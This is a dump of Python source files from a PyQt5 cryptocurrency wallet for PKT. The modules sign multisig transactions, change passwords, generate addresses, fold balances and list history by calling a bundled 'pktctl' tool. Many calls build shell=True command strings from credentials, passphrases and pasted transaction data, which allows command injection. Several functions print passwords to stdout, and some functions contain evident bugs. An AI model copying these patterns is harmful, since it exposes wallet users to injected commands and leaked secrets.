self.label_34.setText(_translate("MainWindow", "Import one or more private keys below to import them into your wallet. Add one key per line."))
self.label_33.setText(_translate("MainWindow", "Import Private Keys"))
self.import_text.setToolTip(_translate("MainWindow", "Add keys here, one per line."))
self.import_text.setPlaceholderText(_translate("MainWindow", "Enter private keys here."))
self.import_keys_btn.setText(_translate("MainWindow", "Import"))
self.label_102.setText(_translate("MainWindow", "Daemon Sync"))
self.label_104.setText(_translate("MainWindow", "Status of Wallet"))
self.label_101.setText(_translate("MainWindow", "Wallet Sync"))
self.label_105.setText(_translate("MainWindow", "0%"))
self.label_106.setText(_translate("MainWindow", "0%"))
self.menuFile.setTitle(_translate("MainWindow", "File"))
self.menuWallet.setTitle(_translate("MainWindow", "Wallet"))
self.menuCreate_Address_2.setTitle(_translate("MainWindow", "Create Address"))
self.menuTools.setTitle(_translate("MainWindow", "Tools"))
self.menuLoad_Transaction.setTitle(_translate("MainWindow", "Import Transaction"))
self.menuHelp.setTitle(_translate("MainWindow", "Help"))
self.toolBar.setWindowTitle(_translate("MainWindow", "toolBar"))
self.actionOpen.setText(_translate("MainWindow", "Recently Open"))
self.actionInformation.setText(_translate("MainWindow", "Information"))
self.actionSign_Messages.setText(_translate("MainWindow", "Open"))
self.actionVerify_Message.setText(_translate("MainWindow", "New/Restore"))
self.actionDelete.setText(_translate("MainWindow", "Delete Wallet"))
self.actionPassword.setText(_translate("MainWindow", "Password"))
self.actionExport_Private_Key.setText(_translate("MainWindow", "Export Keys"))
self.actionUpdates.setText(_translate("MainWindow", "Updates"))
self.actionWebsite.setText(_translate("MainWindow", "Website"))
self.actionPay_to_Many.setText(_translate("MainWindow", "Pay to Many"))
self.actionSign_Verify_Message.setText(_translate("MainWindow", "Load/Sign/Send Transactions"))
self.actionEncrypt_Decrypt_Message.setText(_translate("MainWindow", "Encrypt/Decrypt Message"))
self.actionFrom_File.setText(_translate("MainWindow", "From File"))
self.actionFrom_Text.setText(_translate("MainWindow", "From Text"))
self.actionFrom_QR.setText(_translate("MainWindow", "From QR"))
self.actionSave.setText(_translate("MainWindow", "Save Copy"))
self.actionImport_Keys.setText(_translate("MainWindow", "Import Keys"))
self.actionInformation_2.setText(_translate("MainWindow", "Information"))
self.actionAddress.setText(_translate("MainWindow", "Address"))
self.actionCreate_Transaction.setText(_translate("MainWindow", "Create Multisig Transaction"))
self.actionAddress_2.setText(_translate("MainWindow", "Address"))
self.actionMultiSig_Address.setText(_translate("MainWindow", "MultiSig Address"))
self.actionGet_Public_Key.setText(_translate("MainWindow", "Get Public Key"))
self.actionCombine_Multisig_Transactions.setText(_translate("MainWindow", "Combine Multisig Transactions"))
self.actionGet_Private_Key.setText(_translate("MainWindow", "Get Private Key"))
self.actionSeed.setText(_translate("MainWindow", "Seed"))
self.actionFrom_Text_2.setText(_translate("MainWindow", "From Text"))
self.actionFrom_QR_Code.setText(_translate("MainWindow", "From QR Code"))
self.actionFold_Address.setText(_translate("MainWindow", "Fold Address"))
self.actionNew_Wallet.setText(_translate("MainWindow", "New Wallet"))
self.actionManual_Resync.setText(_translate("MainWindow", "Manual Resync"))
self.actionResync.setText(_translate("MainWindow", "Resync"))
|
artrepreneur/Vodun | signMultiSigTrans.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json #threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
_translate = QCoreApplication.translate
MIN_CONF = '1'
MAX_CONF = '9999999'
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def create(uname, pwd, raw_trans, passphrase, window):
try:
# unlock wallet
unlock_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletpassphrase " + passphrase + ' 10000'
result, err = (subprocess.Popen(resource_path(unlock_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
print('unlock', result)
# init
txid = ''
vout = ''
redeem_script = ''
scriptpubkey = ''
sender_addr = ''
if err:
print('Error:', err)
window.label_66.setText("Error: Wallet could not be unlocked. Check your wallet passphrase.")
else:
decode_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" decoderawtransaction " + raw_trans
print('decode command', decode_cmd)
result, err = (subprocess.Popen(resource_path(decode_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
#print('res', result)
if not err:
json_trans = json.loads(result)
decode_result = (json_trans)['vout']
print('decoded trans:', decode_result)
# Get sender.
txid = (json_trans)['vin'][0]["txid"]
vout = (json_trans)['vin'][0]["vout"]
print('txid', txid, 'vout', vout)
sender_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" getrawtransaction " + txid
print(sender_cmd)
sndr_result, sndr_err = (subprocess.Popen(resource_path(sender_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
sndr_result = sndr_result.decode('utf-8')
sndr_err = sndr_err.decode('utf-8')
print('sender res', sndr_result, sndr_err)
if not sndr_err:
decode_cmd_2 = "bin/pktctl -u "+ uname +" -P "+ pwd +" decoderawtransaction " + sndr_result
result_2, err_2 = (subprocess.Popen(resource_path(decode_cmd_2), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result_2 = result_2.decode('utf-8')
err_2 = err_2.decode('utf-8')
if not err_2:
json_trans_2 = json.loads(result_2)
decode_result_2 = (json_trans_2)['vout']
for item in decode_result_2:
if item["n"] == vout:
sender_addr = item["address"]
print("Sender:", sender_addr)
# Get some details for confirmation
details = ''
for item in decode_result:
amount = item["value"]
pay_to = item["scriptPubKey"]["addresses"][0]
details += "Sending: " + str(amount) + " PKT to: " + str(pay_to) + "\n\n"
if pay_to == sender_addr:
scriptpubkey = item["scriptPubKey"]["hex"]
msg_box_24 = QtWidgets.QMessageBox()
msg_box_24.setText('Use "Show Details" to confirm this is the transaction you wish to sign. Then click "ok" to sign it.')
msg_box_24.setDetailedText(details)
msg_box_24.setStandardButtons(QtWidgets.QMessageBox.Yes|QtWidgets.QMessageBox.Cancel)
snd_multi_btn = msg_box_24.button(QtWidgets.QMessageBox.Yes)
snd_multi_btn.setText("Ok")
ret = msg_box_24.exec()
if ret == QtWidgets.QMessageBox.Yes:
#try:
# Try to open if it exists.
with open('MultisigData/mdata.json', 'r') as infile:
json_data = json.load(infile)
json_arr = json_data["addr_data"]
# import redeemScript and PK's
for data in json_arr:
if data["multisigAddress"] == sender_addr:
redeem_script = data["redeemScript"]
success = True
break
sign_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet signrawtransaction " + str(raw_trans) + " '[{\"txid\":\""+str(txid)+"\",\"n\":\""+str(vout)+"\",\"scriptpubkey\":\""+str(scriptpubkey)+"\",\"redeemscript\":\""+str(redeem_script)+"\"}]'"
print(sign_cmd)
sign_result, err_3 = (subprocess.Popen(resource_path(sign_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
sign_result = sign_result.decode('utf-8')
err_3 = err_3.decode('utf-8')
signed_trans = str(json.loads(sign_result)['hex'])
print(signed_trans)
# Relock wallet.
lock = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletlock"
result_lock, err_lock = subprocess.Popen(resource_path(lock), shell=True, stdout=subprocess.PIPE).communicate()
if err_3:
print('Error:', err_3)
window.label_66.setText("Error: Could not create transaction. Try again.")
return "Error: Could not sign transaction. Try again. " + err_3
else:
return signed_trans
#except:
# print("No mdata.json file present.")
# return "Error: Could not sign transaction."
elif ret == QtWidgets.QMessageBox.Cancel:
return
else:
raise Exception("Signing failure")
else:
print("Signing failure", sndr_err)
window.signed_text.setText("Signing failure:" + sndr_err)
raise Exception("Signing failure")
except:
window.label_66.setText("Signing failed.")
print("Signing failed.")
return "Error: Signing failed."
|
artrepreneur/Vodun | password.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def change_pass(uname, pwd, progress_callback):
global err
print('old_pwd', old_pwd)
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletpassphrasechange '" + old_pwd + "' '" + new_pwd + "'"
result, err = subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
result = result.decode('utf-8')
err = err.decode('utf-8')
if err:
print('Error:', err)
return result
except subprocess.CalledProcessError as e:
print('Failed to retrieve public key.', e.output)
def change(u, p, op, np, win, state, pool):
global window, uname, pwd, worker_state_active, old_pwd, new_pwd
uname = u
pwd = p
worker_state_active = state
threadpool = pool
old_pwd = op
new_pwd = np
window = win
# Pass the function to execute
if not worker_state_active['PASS_CHNG']:
worker_state_active['PASS_CHNG'] = True
worker = rpcworker.Worker(change_pass, uname, pwd) # Any other args, kwargs are passed to the run function
worker.signals.result.connect(print_result)
worker.signals.finished.connect(thread_complete)
worker.signals.progress.connect(progress_fn)
threadpool.start(worker)
def print_result(result):
# Relock wallet.
lock = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletlock"
result_lock, err_lock = subprocess.Popen(resource_path(lock), shell=True, stdout=subprocess.PIPE).communicate()
if not err:
msg_box_13 = QtWidgets.QMessageBox()
msg_box_13.setText(_translate("MainWindow",'Your password has been changed.'))
msg_box_13.exec()
elif "Incorrect passphrase" in err:
msg_box_13 = QtWidgets.QMessageBox()
msg_box_13.setText(_translate("MainWindow",'Your password has not been changed. Please make sure your old password was entered correctly.'))
msg_box_13.exec()
else:
msg_box_13 = QtWidgets.QMessageBox()
msg_box_13.setText(_translate("MainWindow",'Your password has not been changed.'))
msg_box_13.exec()
worker_state_active['PASS_CHNG'] = False
|
artrepreneur/Vodun | genAddress.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, addresses
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
from rpcworker import progress_fn, thread_complete, Worker, WorkerSignals
#from resource import resource_path
def resource_path(relative_path):
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def new_addresses_sync(uname, pwd):
global new_address, pub_key
new_address = ''
pub_key = ''
try:
#cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet getnewaddress"
#new_address = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]).decode("utf-8")
new_address = (subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'getnewaddress'], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]).decode("utf-8")
if new_address:
pubkey_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet validateaddress " + new_address
try:
pub_key = json.loads(subprocess.Popen(resource_path(pubkey_cmd), shell=True, stdout=subprocess.PIPE).communicate()[0])["pubkey"]
#pub_key = (json.loads(subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'validateaddress', new_address], shell=False, stdout=subprocess.PIPE).communicate()[0]))["pubkey"]
print(pub_key)
except subprocess.CalledProcessError as e:
print(e.output)
else:
print('Failed to create new addresses')
except subprocess.CalledProcessError as e:
print('Failed to create new addresses', e.output)
return new_address, pub_key
def new_addresses(uname, pwd, progress_callback):
global new_address, pub_key
new_address = ''
pub_key = ''
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet getnewaddress"
new_address = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]).decode("utf-8")
'''
if new_address:
pubkey_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet validateaddress " + new_address
try:
pub_key = json.loads(subprocess.Popen(resource_path(pubkey_cmd), shell=True, stdout=subprocess.PIPE).communicate()[0])["pubkey"]
except subprocess.CalledProcessError as e:
print(e.output)
else:
print('Failed to create new addresses')
'''
except subprocess.CalledProcessError as e:
print('Failed to create new addresses', e.output)
return new_address, pub_key
def get_new_address(u, p, win, state, pool):
global window, uname, pwd, worker_state_active, threadpool
window = win
uname = u
pwd = p
worker_state_active = state
threadpool = pool
# Pass the function to execute
if not worker_state_active['GET_NEW_ADDRESS']:
worker_state_active['GET_NEW_ADDRESS'] = True
print_address(new_addresses_sync(uname, pwd))
def print_address(list):
window.address_line.setText(list[0])
#window.pubkey_line.setText(list[1])
#window.pubkey_line.repaint()
#window.pubkey_line.setCursorPosition(0)
worker_state_active['GET_NEW_ADDRESS']= False
addresses.get_addresses(uname, pwd, window, "addresses", worker_state_active, threadpool)
|
artrepreneur/Vodun | fold.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5 import QtWidgets
from rpcworker import progress_fn, thread_complete
from dropdowns import refresh_all
from pixMp import *
from config import MIN_CONF, MAX_CONF
import time
_translate = QCoreApplication.translate
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def fold_it(progress_callback):
balance = float(get_balance())
lft_ovr_bal = balance
details = ''
while not balance < 1:
try:
# unlock
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletpassphrase " + passphrase + ' 1000'
result, err = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
# Send
if not err:
cmd_2 = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet sendfrom " + to + " 0 '[\"" + fr + "\"]' 1"
result_2, err_2 = (subprocess.Popen(resource_path(cmd_2), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result_2 = result_2.decode('utf-8')
err_2 = err_2.decode('utf-8')
if err_2:
print("Error:", err_2)
if "waddrmgr.scriptAddress" in err_2:
window.label_77.setText(_translate("MainWindow","You are using a multisig sending address. You must use \"create multisig\" option under menu."))
elif "InsufficientFundsError" in err_2:
window.label_77.setText(_translate("MainWindow","Either you do not have sufficient balance, or you recently submitted a transaction and must wait for it to clear."))
else:
msg = "Failed to fold. "
window.label_77.setText(_translate("MainWindow",msg))
worker_state_active['FOLD_WALLET'] = False
exit()
else:
print('Transaction Id:',result_2)
# Relock wallet.
result_lock, err_lock = subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'walletlock'], shell=False, stdout=subprocess.PIPE).communicate()
try:
cmd_3 = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet gettransaction " + result_2 + " true"
result_3, err_3 = subprocess.Popen(resource_path(cmd_3), shell=True, stdout=subprocess.PIPE).communicate()
if not err_3:
print("result", json.loads(result_3))
hex = json.loads(result_3)["hex"]
fee = str(format(round(float(json.loads(result_3)["fee"]), 8), '.8f'))
amount = str(format(round(float(json.loads(result_3)["amount"]), 8), '.8f'))
details += '\n\nYou folded to address: ' + to + '\nAmount: ' + amount + ' PKT\n'
# Append results
details += 'Transaction ID:' + result_2
trns_list.append(details)
print('Details:', details)
return details
else:
print('Error:', err_3)
return err_3
except subprocess.CalledProcessError as e:
print('Error:', e.output)
else:
msg = "Could not unlock wallet."
print(msg, err)
window.label_77.setText(_translate("MainWindow",msg))
worker_state_active['FOLD_WALLET'] = False
exit()
except subprocess.CalledProcessError as e:
print('Failed to unlock wallet.', e.output)
worker_state_active['FOLD_WALLET'] = False
exit()
balance = float(get_balance())
time.sleep(30)
print('Balance:', balance, 'Left over balance:', lft_ovr_bal)
while (lft_ovr_bal > 1 and round(balance,0) == 0):
time.sleep(30)
balance = float(get_balance())
print('Balance:', balance, 'Left over balance:', lft_ovr_bal)
return details
def get_balance():
bal_cmd_result = json.loads(subprocess.Popen([resource_path("bin/pktctl"), '-u', uname, '-P', pwd, '--wallet', 'getaddressbalances', MIN_CONF], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0])
for i, item in enumerate(bal_cmd_result):
address = item["address"]
if address.strip() == fr.strip():
balance = format(round(float(item["total"]), 8), '.8f')
print('Address Balance:', balance)
return balance
def execute(u, p, win, state, pool, pp, f, t):
global uname, pwd, window, worker_state_active, threadpool, fr, to, passphrase, bal, trns_list
window = win
uname = u
pwd = p
worker_state_active = state
fr = f
to = t
threadpool = pool
passphrase = pp
trns_list = []
if not worker_state_active['FOLD_WALLET']:
worker_state_active['FOLD_WALLET'] = True
worker = rpcworker.Worker(fold_it)
worker.signals.result.connect(fold_response_2)
worker.signals.finished.connect(thread_complete)
#worker.signals.progress.connect(progress_fn)
threadpool.start(worker)
def fold_response(result):
window.lineEdit_7.setText(result)
# Relock wallet.
result_lock, err_lock = subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'walletlock'], shell=False, stdout=subprocess.PIPE).communicate()
if result:
try:
cmd_3 = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet gettransaction " + result
result_3, err_3 = subprocess.Popen(resource_path(cmd_3), shell=True, stdout=subprocess.PIPE).communicate()
if not err_3:
hex = json.loads(result_3)["hex"]
fee = str(format(round(float(json.loads(result_3)["fee"]), 8), '.8f'))
cmd_4 = "bin/pktctl -u "+ uname +" -P "+ pwd +" decoderawtransaction " + hex
result_4, err_4 = subprocess.Popen(resource_path(cmd_4), shell=True, stdout=subprocess.PIPE).communicate()
if not err_4:
vout = json.loads(result_4)["vout"]
sender = fr
balance = 0
deet = ''
for i in range(0, len(vout)):
addr = vout[i]['scriptPubKey']['addresses'][0]
amount = str(round(float(vout[i]['value']),8))
if not(addr.strip() == sender):
deet += 'You folded to address: ' + addr + '\nAmount: ' + amount + ' PKT\n\n'
else:
balance += amount
window.textEdit_4.setText(details.strip())
window.stackedWidget.setCurrentIndex(window.stackedWidget.indexOf(window.sent_page))
else:
print('Error:', err_4)
details = "Could not get transaction details."
window.textEdit_4.setText(_translate("MainWindow", details))
else:
print('Error:', err_3)
details = "Could not get transaction details."
window.textEdit_4.setText(_translate("MainWindow",details))
except subprocess.CalledProcessError as e:
print('Error:', e.output)
else:
details = "Could not fold. Balance could be too small."
window.label_77.setText(_translate("MainWindow", details))
worker_state_active['FOLD_WALLET'] = False
def fold_response_2(result):
window.lineEdit_7.setText("Transaction ID\'s listed below.")
window.textEdit_4.setText(_translate("MainWindow",result))
worker_state_active['FOLD_WALLET'] = False
window.stackedWidget.setCurrentIndex(window.stackedWidget.indexOf(window.sent_page))
|
artrepreneur/Vodun | combineSigned.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
from electrum.util import bh2u
from electrum.bitcoin import base_decode
from electrum.transaction import Transaction
from electrum.transaction import tx_from_str
def combine_transactions(transaction_bin):
transactions = list(
map(lambda tx_bin: Transaction(tx_from_str(tx_bin)), transaction_bin))
tx0 = transactions[0]
tx0.deserialize(True)
return tx0
def combine(uname, pwd, window, trans_list):
try:
tx = combine_transactions(trans_list)
inputs = tx.inputs()
serialized = tx.serialize_to_network()
return serialized
except:
return "Unable to combine transactions. Check if transaction and/or all signatures are valid."
|
artrepreneur/Vodun | custombtn.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
from PyQt5 import QtWidgets
from PyQt5.QtGui import *
from PyQt5.QtCore import QSize
from pixMp import *
# Dynamic button class
class BasicBtn (QtWidgets.QPushButton):
def __init__(self, obj_name, obj_text, bl, *args, **kwargs):
super(BasicBtn, self).__init__(*args, **kwargs)
#global icons, bal
self.bal = bl
self.icons = set_pixmaps() #-- must construct QApplication First
self.text = obj_text
self.name = obj_name
self.setText(self.text)
#pixmap_addr_btn = QPixmap(resource_path('img/glyphicons_325_wallet_blk@2x.png'))
self.setObjectName(self.name)
self.setIcon(QIcon(self.icons['pixmap_addr_btn']))
self.setIconSize(QSize(70,40))
self.setStyleSheet("QPushButton#"+self.name+"{border-radius: 5px; border: 1px solid rgb(2, 45, 147); font: 57 20pt 'Futura'; text-align: center}")
def mousePressEvent(self, event):
self.setText(self.text)
self.setObjectName(self.name)
self.setIcon(QIcon(self.icons['pixmap_addr_btn2']))
self.setIconSize(QSize(70,40))
self.setStyleSheet("QPushButton#"+self.name+" {border-radius: 5px; border: 1px solid #FF6600; font: 57 20pt 'Futura'; text-align: center; color: #FF6600; background-color: #022D93;}")
def mouseReleaseEvent(self, event):
self.setText(self.text)
self.setObjectName(self.name)
self.setIcon(QIcon(self.icons['pixmap_addr_btn']))
self.setIconSize(QSize(70,40))
self.setStyleSheet("QPushButton#"+self.name+" {border-radius: 5px; border: 1px solid rgb(2, 45, 147); font: 57 20pt 'Futura'; text-align: center;}")
btn_click_handler(self)
class ListBtn(BasicBtn):
#set_pixmaps() #-- must construct QApplication First
def mouseReleaseEvent(self, event):
self.setText(self.text)
self.setObjectName(self.name)
self.setIcon(QIcon(self.icons['pixmap_addr_btn']))
self.setIconSize(QSize(70,40))
self.setStyleSheet("QPushButton#"+self.name+" {border-radius: 5px; border: 1px solid rgb(2, 45, 147); font: 57 20pt 'Futura'; text-align: center;}")
addr = self.text
balance = str(self.bal) + ' PKT'
msg_box_7 = QtWidgets.QMessageBox()
msg_box_7.setText('Click show details below to see balance for address '+ addr )
msg_box_7.setDetailedText("Balance: " + balance)
msg_box_7.exec()
|
artrepreneur/Vodun | sendCombMultiSigTrans.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
_translate = QCoreApplication.translate
MIN_CONF = '1'
MAX_CONF = '9999999'
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def create(uname, pwd, fee, raw_trans, window):
min_est_fee = format(round(len(bytes.fromhex(raw_trans)) * .00000001, 8), '.8f')
if float(min_est_fee) <= 400000:
#try:
# decode the raw transaction and display it during sending for confirmation.
decode_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" decoderawtransaction " + raw_trans
result, err = (subprocess.Popen(resource_path(decode_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
if not err:
decode_result = (json.loads(result))['vout']
details = ""
for item in decode_result:
amount = item["value"]
pay_to = item["scriptPubKey"]["addresses"][0]
details += "Sending: " + str(amount) + " PKT \nto: " + str(pay_to) + "\n\n"
if float(fee) < float(min_est_fee):
fee = min_est_fee
details += "Estimate fees: "+str(format(float(fee), '.8f'))
msg_box_21 = QtWidgets.QMessageBox()
msg_box_21.setText('Use "Show Details" to confirm this is the transaction you wish to send. Then click "Send" to submit to network.')
msg_box_21.setDetailedText(details)
msg_box_21.setStandardButtons(QtWidgets.QMessageBox.Yes|QtWidgets.QMessageBox.Cancel)
snd_multi_btn = msg_box_21.button(QtWidgets.QMessageBox.Yes)
snd_multi_btn.setText("Send")
ret = msg_box_21.exec()
if ret == QtWidgets.QMessageBox.Yes:
send_cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" sendrawtransaction " + str(raw_trans)
#print('send cmd', send_cmd)
send_result, err = (subprocess.Popen(resource_path(send_cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
send_result = send_result.decode('utf-8')
err = err.decode('utf-8')
#print("sign", send_result)
if err:
print('Error:', err)
if "txn-already-in-mempool" in err:
msg = "Error: Could not send transaction. Transaction already sent."
window.label_69.setText(msg)
elif "ErrOrphanTransactionDisallowed" in err:
msg = "This transaction references and orphan output, try folding this wallet address."
else:
msg = "Error: Could not send transaction. Make sure you have all required signatures."
window.label_69.setText(msg)
return {msg}
else:
return {"result":send_result, "details":details}
elif ret == QtWidgets.QMessageBox.Cancel:
return {"result":"Cancel"}
else:
return {"result": "Error: Transaction size too large, too many inputs. Try folding."}
|
artrepreneur/Vodun | balances.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess
import os, sys, rpcworker
from PyQt5.QtCore import *
from config import MIN_CONF, MAX_CONF
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
def resource_path(relative_path):
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def get_balance(uname, pwd, progress_callback):
bal_cmd_result, err = (subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'getbalance'], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
bal_cmd_result = bal_cmd_result.decode('utf-8')
print('bal_cmd_result', bal_cmd_result)
err = err.decode('utf-8')
print(bal_cmd_result, err)
if not err:
bal_cmd_result = round(float(bal_cmd_result),8)
return str(bal_cmd_result).rstrip()
def get_balance_for_addr(uname, pwd, addr):
addr_bal_cmd_result, err = (subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'listunspent', MIN_CONF, MAX_CONF, '[\"'+addr+'\"]'], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
addr_bal_cmd_result = addr_bal_cmd_result.decode('utf-8')
err = err.decode('utf-8')
if not err:
bal = 0
for itm in addr_bal_cmd_result:
tmp_bal = round(float(itm["amount"]),4)
bal += tmp_bal
return str(bal)
def get_balance_thd(u, p, win, state, pool):
global window, uname, pwd, worker_state_active
window = win
uname = u
pwd = p
worker_state_active = state
threadpool = pool
# Pass the function to execute
if not worker_state_active['GET_BALANCE']:
window.balance_amount.setText(_translate("MainWindow", "Calculating..."))
worker_state_active['GET_BALANCE'] = True
worker = rpcworker.Worker(get_balance, uname, pwd)
worker.signals.result.connect(print_result)
worker.signals.finished.connect(thread_complete)
#worker.signals.progress.connect(progress_fn)
# Execute
threadpool.start(worker)
def print_result(result):
window.balance_amount.clear()
if result:
window.balance_amount.setText(_translate("MainWindow", result))
else:
window.balance_amount.setText(_translate("MainWindow", "Failed to retrieve balance."))
worker_state_active['GET_BALANCE'] = False |
artrepreneur/Vodun | config.py | <gh_stars>1-10
# Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
MIN_CONF = '6'
MAX_CONF = '9999999'
|
artrepreneur/Vodun | transactions.py | <reponame>artrepreneur/Vodun
# Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5 import QtWidgets
from datetime import datetime
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def get_history(uname, pwd, progress_callback):
global err, count, state
count = 200
state = int(page) * (count -1)
try:
result, err = subprocess.Popen([resource_path('bin/pktctl'), '-u', uname, '-P', pwd, '--wallet', 'listtransactions', str(count), str(state)], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
#print('result:', result)
if result:
result = json.loads(result)
err = err.decode('utf-8')
if err:
print('Error:', err)
return result
except subprocess.CalledProcessError as e:
print('Failed to retrieve public key.', e.output)
def history(u, p, pg, win, state, pool):
global window, uname, pwd, worker_state_active, page
window = win
uname = u
pwd = p
worker_state_active = state
threadpool = pool
page = pg
# Pass the function to execute
if not worker_state_active['TRANS']:
worker_state_active['TRANS'] = True
window.trns_status.setStyleSheet("QLabel {font: 16pt Bold Italic 'Gill Sans';}")
window.trns_status.setText('Loading...')
window.trns_status.show()
window.load_trns_btn.setEnabled(False)
worker = rpcworker.Worker(get_history, uname, pwd)
worker.signals.result.connect(print_result)
worker.signals.finished.connect(thread_complete)
#worker.signals.progress.connect(progress_fn)
threadpool.start(worker)
def row_count(iterator):
count = 0
if iterator.value():
while iterator.value():
item = iterator.value()
if item.parent():
if item.parent().isExpanded():
count +=1
else:
count += 1
iterator += 1
print('item.text(0).strip()',item.text(0).strip())
if item.text(0).strip()=='':
count = 0
window.transaction_hist_tree.clear()
return count
def print_result(result):
print('result:', result)
if result:
iterator = QtWidgets.QTreeWidgetItemIterator(window.transaction_hist_tree)
count = row_count(iterator)
for i, item in enumerate(result):
index = (count) + i
print(i, index, item)
time = item["time"]
ts = str(datetime.utcfromtimestamp(time).strftime('%Y-%m-%d %H:%M:%S'))
address = item["address"]
amount = str(round(item["amount"],8)) + ' PKT'
trans_id = item["txid"]
item_0 = QtWidgets.QTreeWidgetItem(window.transaction_hist_tree)
font = QFont()
font.setFamily("Gill Sans")
font.setPointSize(15)
item_0.setFont(0, font)
item_0.setFont(1, font)
item_0.setFont(2, font)
